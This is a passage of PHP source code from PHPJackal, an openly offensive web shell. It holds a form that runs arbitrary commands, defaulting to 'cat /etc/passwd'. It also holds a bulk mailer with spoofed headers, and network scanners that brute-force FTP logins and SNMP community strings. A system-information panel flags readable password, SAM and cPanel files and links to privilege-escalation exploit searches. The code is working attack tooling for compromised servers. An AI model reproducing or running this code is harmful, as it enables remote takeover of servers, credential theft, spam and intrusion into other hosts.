  625. echo '<img src="http://h.ackerz.com/PHPJackal/images/webshell.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="form"><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Location:</label><div class="thefield"><input type="text" name="workingdiR" value="'.$cwd.'" size="30" /><br /></div></div><div class="buttonsdiv"><input type="submit" value="Change" style="margin-left: 150px;" /></div></form><form method="POST" class="form">';
  626. if(!empty($_REQUEST['cmd'])){
  627. echo '<div class="fieldwrapper"><label class="styled">Result:</label><div class="thefield"><pre>';echo shelL($_REQUEST['cmd']);echo'</pre></div></div>';
  628. }
  629. echo '<div class="fieldwrapper"><label class="styled">Command:</label><div class="thefield"><input type="text" name="cmd" value="';if(!empty($_REQUEST['cmd']))echo htmlspecialchars(($_REQUEST['cmd']));elseif(!$windows)echo "cat /etc/passwd";echo '" size="30" /><br /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form><form method="POST" class="form"><div class="fieldwrapper"><label class="styled">Alias:</label><div class="thefield"><select name="cmd">'.$alias.'</select></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Execute" style="margin-left: 150px;" /></div></form>';
  630. }
  631. function maileR(){
  632. global $hcwd,$cwd;
  633. echo '<img src="http://h.ackerz.com/PHPJackal/images/mail.png" style="border: none; margin: 0;" /><br /><br />';
  634. if(!empty($_REQUEST['subject'])&&!empty($_REQUEST['body'])&&!empty($_REQUEST['from'])&&!empty($_REQUEST['to'])){
  635. $from=$_REQUEST['from'];$subject=$_REQUEST['subject'];$body=$_REQUEST['body'];
  636. $to= explode("\n",$_REQUEST['to']);
  637. $headers="From: $from";
  638. if(!empty($_REQUEST['attach'])){
  639. if(is_readable($_REQUEST['attach'])){
  640. $data=file_get_contents($_REQUEST['attach']);
  641. $mime_boundary = "----=".md5(time());;
  642. $headers .= "\nMIME-Version: 1.0\n".
  643. "Content-Type: multipart/mixed; boundary=\"$mime_boundary\"";
  644. $data = chunk_split(base64_encode($data));
  645. $type=get_mimE($_REQUEST['attach']);
  646. $body =
  647. "$mime_boundary\n".
  648. "Content-Type: text/html; charset=\"iso-8859-1\"\n".
  649. "Content-Transfer-Encoding: 7bit\n\n".
  650. $body."\n".
  651. "$mime_boundary\n".
  652. "Content-Type: $type; name=\"".basename($_REQUEST['attach'])."\"\n".
  653. "Content-Disposition: attachment; filename=\"".basename($_REQUEST['attach'])."\"\n".
  654. "Content-Transfer-Encoding: Base64\n\n".
  655. $data."\n".
  656. "$mime_boundary--\n";
  657. }
  658. }
  659. $_SERVER['PHP_SELF'] = "/";
  660. $_SERVER['REMOTE_ADDR'] = '127.0.0.1';
  661. $_SERVER['SERVER_NAME'] = 'google.com';
  662. echo "<pre>";
  663. foreach ($to as $target){
  664. $info=explode('@',$target);
  665. $rsubject=str_replace('[EMAIL]',$target,$subject);$rsubject=str_replace('[USER]',$info[0],$subject);$rsubject=str_replace('[DOMAIN]',$info[1],$subject);
  666. $rbody=str_replace('[EMAIL]',$target,$body);
  667. $rbody=str_replace('[USER]',$info[0],$rbody);
  668. $rbody=str_replace('[DOMAIN]',$info[1],$rbody);
  669. for($i=0;$i<(int)$_REQUEST['count'];$i++){
  670. $target=trim($target);
  671. if(mail($target,$rsubject,$rbody,$headers))echo "Email to ".htmlspecialchars($target). " sent!\r\n";else echo "Error: Can not send mail to ".htmlspecialchars($target)."!\r\n";
  672. }
  673. }
  674. echo "</pre><br />";
  675. }else{
  676. echo '<form name=client method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Mail sender</label></div><div class="fieldwrapper"><label class="styled">SMTP:</label><div class="thefield">'.ini_get('SMTP').':'.ini_get('smtp_port').'</div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="[email protected]" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><textarea name="to">';if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo '</textarea></div></div><div class="fieldwrapper"><label class="styled">Subject:</label><div class="thefield"><input type="text" name="subject" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Body:</label><div class="thefield"><textarea name="body">
  677. For each address will be [USER], [DOMAIN] and [EMAIL] replaced in mail subject and body.
  678.  
  679. Ex. [email protected]
  680. [USER] => john
  681. [DOMAIN] => example.net
  682. [EMAIL] => [email protected]
  683.  
  684. </textarea></div></div>
  685. <div class="fieldwrapper"><label class="styled">Attachment:</label><div class="thefield"><input type="text" name="attach" value="';if(!empty($_REQUEST['attacH']))echo htmlspecialchars($cwd.DIRECTORY_SEPARATOR.$_REQUEST['attacH']);echo '" /></div></div>
  686. <div class="fieldwrapper"><label class="styled">Count:</label><div class="thefield"><input type="text" name="count" size="5" value="1" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Send" style="margin-left: 150px;" /></div></form>';
  687. }
  688. }
  689. function scanneR(){
  690. global $hcwd;
  691. echo '<img src="http://h.ackerz.com/PHPJackal/images/scanner.png" style="border: none; margin: 0;" /><br /><br />';
  692. if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
  693. $udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
  694. if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
  695. $target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
  696. echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br />';
  697. $start=time();
  698. for($i=$from;$i<=$to;$i++){
  699. if($tcp){
  700. if(checkthisporT($target,$i,$timeout)){
  701. $nu++;
  702. $ser='';
  703. if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
  704. echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
  705. }
  706. }
  707. if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
  708. }
  709. $time=time()-$start;
  710. echo "Done! ($time seconds)</font>";
  711. }
  712. elseif(!empty($_REQUEST['securityscanner'])){
  713. echo '<font color=blue>';
  714. $start=time();
  715. $from=$_REQUEST['from'];
  716. $to=$_REQUEST['to'];
  717. $fIP=ip2long($from);
  718. $tIP=ip2long($to);
  719. if($fIP>$tIP){
  720. echo 'Invalid range;</font>';
  721. return 0;
  722. }
  723. $timeout=(int)$_REQUEST['timeout'];
  724. if(!empty($_REQUEST['httpscanner'])){
  725. echo 'Loading webserver bug list...';
  726. $buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
  727. $dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
  728. if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
  729. }else{$fr=htmlspecialchars($from);echo "Scanning $from-$to:<br><br>";}
  730. for($i=$fIP;$i<=$tIP;$i++){
  731. $output=0;
  732. $ip=long2ip($i);
  733. if(!empty($_REQUEST['nslookup'])){
  734. $hn=gethostbyaddr($ip);
  735. if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
  736. if(!empty($_REQUEST['ipscanner'])){
  737. $port=$_REQUEST['port'];
  738. if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
  739. $open=$ser='';
  740. foreach($p as $po){
  741. $scan=checkthisporT($ip,$po,$timeout);
  742. if($scan){
  743. $ser='';
  744. if($ser=getservbyport($po,'tcp'))$ser="($ser)";
  745. $open.=" $po$ser ";
  746. }
  747. }
  748. if($open){echo "$ip) Open ports:$open<br>";$output=1;}
  749. }
  750. if(!empty($_REQUEST['httpbanner'])){
  751. $res=get_sw_namE($ip,$timeout);
  752. if($res){
  753. echo "$ip) Webserver software: ";
  754. if($res==-1)echo 'Unknow';
  755. else echo $res;
  756. echo '<br>';
  757. $output=1;
  758. }
  759. }
  760. if(!empty($_REQUEST['httpscanner'])){
  761. if(checkthisporT($ip,80,$timeout) && !empty($file)){
  762. $admin=array('/admin/','/adm/');
  763. $users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
  764. $nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
  765. $cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
  766. foreach($file as $v){
  767. $vuln=array();
  768. $v=trim($v);
  769. if(!$v || $v{0}=='#')continue;
  770. $v=str_replace('","','^',$v);
  771. $v=str_replace('"','',$v);
  772. $vuln=explode('^',$v);
  773. $page=$cqich=$nukech=$adminch=$userch=$vuln[1];
  774. if(strstr($page,'@CGIDIRS'))
  775. foreach($cgi as $cg){
  776. $cqich=str_replace('@CGIDIRS',$cg,$page);
  777. $url="http://$ip$cqich";
  778. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  779. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  780. }
  781. elseif(strstr($page,'@ADMINDIRS'))
  782. foreach($admin as $cg){
  783. $adminch=str_replace('@ADMINDIRS',$cg,$page);
  784. $url="http://$ip$adminch";
  785. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  786. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  787. }
  788. elseif(strstr($page,'@USERS'))
  789. foreach($users as $cg){
  790. $userch=str_replace('@USERS',$cg,$page);
  791. $url="http://$ip$userch";
  792. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  793. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  794. }
  795. elseif(strstr($page,'@NUKE'))
  796. foreach($nuke as $cg){
  797. $nukech=str_replace('@NUKE',$cg,$page);
  798. $url="http://$ip$nukech";
  799. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  800. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  801. }
  802. else{
  803. $url="http://$ip$page";
  804. $res=check_urL($url,$vuln[3],$vuln[2],$timeout);
  805. if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
  806. }
  807. }
  808. }
  809. }
  810. if(!empty($_REQUEST['smtprelay'])){
  811. if(checkthisporT($ip,25,$timeout)){
  812. $res='';
  813. $res=checksmtP($ip,$timeout);
  814. if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
  815. }
  816. }
  817. if(!empty($_REQUEST['snmpscanner'])){
  818. if(checkthisporT($ip,161,$timeout,1)){
  819. $com=$_REQUEST['com'];
  820. $coms=$res='';
  821. if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
  822. foreach($c as $v){
  823. $ret=snmpchecK($ip,$v,$timeout);
  824. if($ret)$coms.=" $v ";
  825. }
  826. if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
  827. }
  828. }
  829. if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
  830. if(checkthisporT($ip,21,$timeout)){
  831. $usps=explode(',',$_REQUEST['userpass']);
  832. foreach($usps as $v){
  833. $user=substr($v,0,strpos($v,':'));
  834. $pass=substr($v,strpos($v,':')+1);
  835. if($pass=='[BLANK]')$pass='';
  836. if(ftpchecK($ip,$user,$pass,$timeout)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
  837. }
  838. }
  839. }
  840. }
  841. $time=time()-$start;
  842. echo "Done! ($time seconds)</font>";
  843. if(!empty($buglist))unlink($buglist);
  844. }
  845. elseif(!empty($_REQUEST['directoryscanner'])){
  846. $dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
  847. echo "<font color=blue><pre>Scanning started...\n";
  848. for($i=0;$i<count($dir);$i++){
  849. $d=trim($dir[$i]);
  850. if($r){
  851. $adr="http://$host/$d/";
  852. if(check_urL($adr,'GET','200')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";}
  853. }else{
  854. $adr="$d.$host";
  855. $ip=gethostbyname($adr);
  856. if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";}
  857. }
  858. }
  859. echo 'Done!</pre></font>';
  860. }
  861. else{
  862. $chbox=(extension_loaded('sockets'))?"<ul><li><input type=checkbox name=tcp value=1 checked> <lable>TCP</lable></li><li><input type=checkbox name=udp value=1 checked> <lable>UDP</lable></li></ul>":'<input type="hidden" name="tcp" value="1">';
  863. echo '<form name=port method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Port scanner</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="target" value="'.$host.'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="fromport" value="1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="toport" value="1024" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li>'.$chbox.'</u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="portscanner" value="Scan" style="margin-left: 150px;" /></div></form><br /><form name=disc method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Discover</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="host" value="'.$_SERVER["HTTP_HOST"].'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Search for:</label><div class="thefield"><ul><li><input type=radio value=1 checked name=r1> <label>Directories</label></li><li><input type=radio name=r1 value=0> <label>Subdomains</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="directoryscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
  864. $host=substr($host,0,strrpos($host,"."));
  865. echo '<form name=security method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Security scanner</label></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="'.$host.'.1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="to" value="'.$host.'.255" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="checkbox" value="1" name="nslookup" checked> <label>NS lookup</label></li><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li><li><input type=checkbox name=ipscanner value=1 checked onClick="document.security.port.disabled = !document.security.port.disabled;"> <label>Port scanner:</label> <input name=port type=text value="21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301" size="30"></li><li><input type=checkbox name=httpbanner value=1 checked> <label>Grab HTTP headers</label></li><li><input type=checkbox name=httpscanner value=1 checked> <label>Webserver security scanning</label></li><li><input type=checkbox name=smtprelay value=1 checked> <label>SMTP relay check</label></li><li><input type=checkbox name=ftpscanner value=1 checked onClick="document.security.userpass.disabled = !document.security.userpass.disabled;"> <label>FTP password:</label> <input name=userpass type=text value="anonymous:[email protected],ftp:ftp,Administrator:[BLANK],guest:[BLANK]" size=30></li><li><input type=checkbox name=snmpscanner value=1 onClick="document.security.com.disabled = !document.security.com.disabled;" checked> <label>SNMP:</label> <input name=com type=text value="public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes" size=30></li><li></u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="securityscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
  866. }
  867. }
  868. function sysinfO(){
  869. global $windows,$disablefunctions,$cwd,$safemode;
  870. $basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
  871. if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
  872. $osver=$tsize=$fsize='';
  873. $ds=implode(' ',$disablefunctions);
  874. $Clock='http://h.ackerz.com/PHPJackal/images/clock/';
  875. if($windows){
  876. $osver=shelL('ver');
  877. if(!empty($osver))$osver="($osver)";
  878. $sysroot=shelL("echo %systemroot%");
  879. if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
  880. if(empty($sysroot))$sysroot = getenv('windir');
  881. if(empty($sysroot))$sysroot = 'Not Found';
  882. if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%');
  883. for($i=66;$i<=90;$i++){
  884. $drive=chr($i).':\\';
  885. if(disk_total_space($drive)){
  886. $fsize+=disk_free_space($drive);
  887. $tsize+=disk_total_space($drive);
  888. }
  889. }
  890. }else{
  891. $ap=shelL('whereis apache');
  892. if(empty($CPU))$CPU=shelL('grep "model name" /proc/cpuinfo | cut -d ":" -f2');
  893. if($CPU)$CPU=nl2br($CPU);
  894. if(!$ap)$ap='Unknow';
  895. $fsize=disk_free_space('/');
  896. $tsize=disk_total_space('/');
  897. }
  898. $diskper=floor(($fsize/$tsize)*100);
  899. $diskcolor='; background: ';
  900. if($diskper<33)$diskcolor.='green';elseif($diskper<66 && $diskper>33)$diskcolor.='orange';else $diskcolor.='red';
  901. $disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
  902. $diskspace=($tsize)?'<div class="progress-container" style="width: 100px" title="'.$disksize.'"><div style="width: '.$diskper.'%'.$diskcolor.'"></div></div>':'Unknown';
  903. if(empty($CPU))$CPU='Unknow';
  904. $os=php_uname();
  905. $osn=php_uname('s');
  906. if(!$windows){
  907. $ker=php_uname('r');
  908. $o=($osn=='Linux')?'Linux+Kernel':$osn;
  909. $os='http://www.exploit-db.com/search/?action=search&filter_platform=16" target="_blank">'.$osn.'</a>';
  910. $os='http://www.exploit-db.com/search/?action=search&filter_description=kernel&filter_platform=16" target="_blank">'.$ker.'</a>';
  911. $inpa=':';
  912. }else{
  913. $sam=$sysroot."\\system32\\config\\SAM";
  914. $inpa=';';
  915. $os='http://www.exploit-db.com/search/?action=search&filter_description=privilege+escalation&filter_platform=45" target="_blank">'.$osn.'</a>';
  916. }
  917. $cuser=get_current_user();
  918. if(!$cuser)$cuser='Unknow';
  919. echo '<img src="http://h.ackerz.com/PHPJackal/images/information.png" style="border: none; margin: 0;" /><br /><br /><div class="fieldwrapper"><label class="styled" style="width:320px">Server information</label></div><div class="fieldwrapper"><label class="styled">Server:</label><div class="thefield"><span>'; if(!empty($_SERVER['SERVER_ADDR']))echo '<img src="http://h.ackerz.com/info/?ip='.$_SERVER['SERVER_ADDR'].'"> ';echo '<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['HTTP_HOST']) .'">'.$_SERVER['HTTP_HOST'].'</a>';if(!empty($_SERVER['SERVER_ADDR'])){ echo '(<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['SERVER_ADDR']) .'">'.$_SERVER['SERVER_ADDR'].'</a>)';}echo '</span></div></div><div class="fieldwrapper"><label class="styled">Operation system:</label><div class="thefield"><span><a href="'.$os.$osver. '</span></div></div><div class="fieldwrapper"><label class="styled">Web server:</label><div class="thefield"><span>'.$_SERVER['SERVER_SOFTWARE']. '</span></div></div><div class="fieldwrapper"><label class="styled">CPU:</label><div class="thefield"><span>'.$CPU. '</span></div></div><div class="fieldwrapper"><label class="styled">Disk space:</label><span>
  920. '.$diskspace.'</span></div><div class="fieldwrapper"><label class="styled">User domain:</label><div class="thefield"><span>';if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo 'Unknow'; echo '</span></div></div><div class="fieldwrapper"><label class="styled">Username:</label><div class="thefield"><span>'.$cuser. '</span></div></div>';
  921. if($windows){echo '<div class="fieldwrapper"><label class="styled">Windows directory:</label><div class="thefield"><span><a href="'.hlinK("seC=fm&workingdiR=$sysroot").'">'.$sysroot.'</a></span></div></div><div class="fieldwrapper"><label class="styled">SAM file:</label><div class="thefield"><span>';if(is_readable(($sam)))echo '<a href="'.hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam").'">Readable</a>'; else echo 'Not readable';echo '</span></div></div>';}
  922. else
  923. {
  924. echo '
  925. <div class="fieldwrapper"><label class="styled">UID - GID:</label><div class="thefield"><span>'.getmyuid().' - '.getmygid().'</span></div></div><div class="fieldwrapper"><label class="styled">Passwd file:</label><div class="thefield"><span>';if(is_readable('/etc/passwd'))echo '<a href="'.hlinK("seC=openit&namE=/etc/passwd&workingdiR=$cwd").'">Readable</a>';else echo 'Not readable';echo '</span></div></div><div class="fieldwrapper"><label class="styled">cPanel:</label><div class="thefield"><span>';$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</span></div></div>';
  926. }
  927. echo '<div class="fieldwrapper"><label class="styled">PHP:</label><div class="thefield"><span><a href="javascript:void(0)" onclick=\'window.open("?='.php_logo_guid().'","","width=300,height=200,scrollbars=no")\'>'.PHP_VERSION.'</a>(<a href="'.hlinK("seC=phpinfo&workingdiR=$cwd").'">more...</a>).</span>
  928. </div></div><div class="fieldwrapper"><label class="styled">Zend version:</label><div class="thefield">
  929. <span>';if (function_exists('zend_version')) echo "<a href='javascript:void(0)' onclick=\"window.open('?=".zend_logo_guid()."','','width=300,height=200,scrollbars=no')\">".zend_version().'</a>';else echo 'Not Found';echo '</span>
  930. </div></div><div class="fieldwrapper">
  931. <label class="styled">Include path:</label>
  932. <div class="thefield">
  933. <span>'.str_replace($inpa,' ',DEFAULT_INCLUDE_PATH).'</span>
  934. </div>
  935. </div>
  936. <div class="fieldwrapper">
  937. <label class="styled">PHP Modules:</label>
  938. <div class="thefield">
  939. <span>';$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "[<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v $i</a>] ";}echo '</span>
  940. </div>
  941. </div>
  942. <div class="fieldwrapper">
  943. <label class="styled">Disabled functions:</label>
  944. <div class="thefield">
  945. <span>';if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo '</span>
  946. </div>
  947. </div>
  948. <div class="fieldwrapper">
  949. <label class="styled">Safe-mode:</label>
  950. <div class="thefield">
  951. <span>'.$safemode.'</span>
  952. </div>
  953. </div>
  954. <div class="fieldwrapper">
  955. <label class="styled">Open base dir:</label>
  956. <div class="thefield">
  957. <span>'.$basedir.'</span>
  958. </div>
  959. </div>
  960. <div class="fieldwrapper">
  961. <label class="styled">DBMS:</label>
  962. <div class="thefield">
  963. <span>';$sq='';
  964. if(function_exists('mysql_connect'))$sq= 'MySQL ';
  965. if(function_exists('mssql_connect'))$sq.= 'MSSQL ';
  966. if(function_exists('ora_logon'))$sq.= 'Oracle ';
  967. if(function_exists('sqlite_open'))$sq.= 'SQLite ';
  968. if(function_exists('pg_connect')) $sq.= 'PostgreSQL ';
  969. if(function_exists('msql_connect')) $sq.= 'mSQL ';
  970. if(function_exists('mysqli_connect'))$sq.= 'MySQLi ';
  971. if(function_exists('ovrimos_connect')) $sq.= 'Ovrimos SQL ';
  972. if ($sq=='') $sq= 'Nothing';
  973. echo $sq.'</span>
  974. </div>
  975. </div>
  976. <div class="fieldwrapper">
  977. <label class="styled">Time:</label>
  978. <div class="thefield">
  979. <span><div title="Local">
  980. <img src="'.$Clock.'8.png" name="hr1"><img
  981. src="'.$Clock.'8.png" name="hr2"><img
  982. src="'.$Clock.'c.png"><img
  983. src="'.$Clock.'8.png" name="mn1"><img
  984. src="'.$Clock.'8.png" name="mn2"><img
  985. src="'.$Clock.'c.png"><img
  986. src="'.$Clock.'8.png" name="se1"><img
  987. src="'.$Clock.'8.png" name="se2"><img
  988. src="'.$Clock.'pm.png" name="ampm">
  989. </div>
  990. <div title="Server">
  991. <img src="'.$Clock.'8.png" name="shr1"><img
  992. src="'.$Clock.'8.png" name="shr2"><img
  993. src="'.$Clock.'c.png"><img
  994. src="'.$Clock.'8.png" name="smn1"><img
  995. src="'.$Clock.'8.png" name="smn2"><img
  996. src="'.$Clock.'c.png"><img
  997. src="'.$Clock.'8.png" name="sse1"><img
  998. src="'.$Clock.'8.png" name="sse2"><img
  999. src="'.$Clock.'pm.png" name="sampm"></span>
  1000. </div>
  1001. </div>
  1002. </div>
  1003. <script type="text/javascript">
  1004. dg0=new Image();dg0.src="'.$Clock.'0.png";
  1005. dg1=new Image();dg1.src="'.$Clock.'1.png";
  1006. dg2=new Image();dg2.src="'.$Clock.'2.png";
  1007. dg3=new Image();dg3.src="'.$Clock.'3.png";
  1008. dg4=new Image();dg4.src="'.$Clock.'4.png";
  1009. dg5=new Image();dg5.src="'.$Clock.'5.png";
  1010. dg6=new Image();dg6.src="'.$Clock.'6.png";
  1011. dg7=new Image();dg7.src="'.$Clock.'7.png";
  1012. dg8=new Image();dg8.src="'.$Clock.'8.png";
  1013. dg9=new Image();dg9.src="'.$Clock.'9.png";
  1014. dgam=new Image();dgam.src="'.$Clock.'am.png";
  1015. dgpm=new Image();dgpm.src="'.$Clock.'pm.png";
  1016. sh=';echo date('G');echo '+100;
  1017. sm=';echo date('i');echo '+100;
  1018. ss=';echo date('s');echo '+100;
  1019. function ltime(){
  1020. theTime=setTimeout("ltime()",1000);
  1021. d = new Date();
  1022. hr= d.getHours()+100;
  1023. mn= d.getMinutes()+100;
  1024. se= d.getSeconds()+100;
  1025. if(hr==100){hr=112;am_pm="am";}
  1026. else if(hr<112){am_pm="am";}
  1027. else if(hr==112){am_pm="pm";}
  1028. else if(hr>112){am_pm="pm";hr=(hr-12);}
  1029. tot=""+hr+mn+se;
  1030. document.hr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
  1031. document.hr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
  1032. document.mn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
  1033. document.mn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
  1034. document.se1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
  1035. document.se2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
  1036. document.ampm.src= "'.$Clock.'"+am_pm+".png";
  1037. }
  1038. function stime(){
  1039. theTime=setTimeout("stime()",1000);
  1040. ss++;
  1041. if(sh==100){sh=112;am_pm="am";}
  1042. else if(sh<112){am_pm="am";}
  1043. else if(sh==112){am_pm="pm";}
  1044. else if(sh>112){am_pm="pm";sh=(sh-12);}
  1045. if(ss==160){ss=100; sm++;}if(sm==160){sm=100; sh++;}
  1046. tot=""+sh+sm+ss;
  1047. document.shr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
  1048. document.shr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
  1049. document.smn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
  1050. document.smn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
  1051. document.sse1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
  1052. document.sse2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
  1053. document.sampm.src= "'.$Clock.'"+am_pm+".png";
  1054. }
  1055. ltime();
  1056. stime();
  1057. </script>
  1058. ';}
  1059. function checksuM($file){
  1060. echo "<pre>MD5: ".md5_file($file)."\r\nSHA1: ".sha1_file($file)."</pre>";
  1061. }
  1062. function listdiR($cwd,$task){
  1063. $c=getcwd();
  1064. $dh=opendir($cwd);
  1065. while($cont=readdir($dh)){
  1066. if($cont=='.' || $cont=='..')continue;
  1067. $adr=$cwd.DIRECTORY_SEPARATOR.$cont;
  1068. switch($task){
  1069. case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
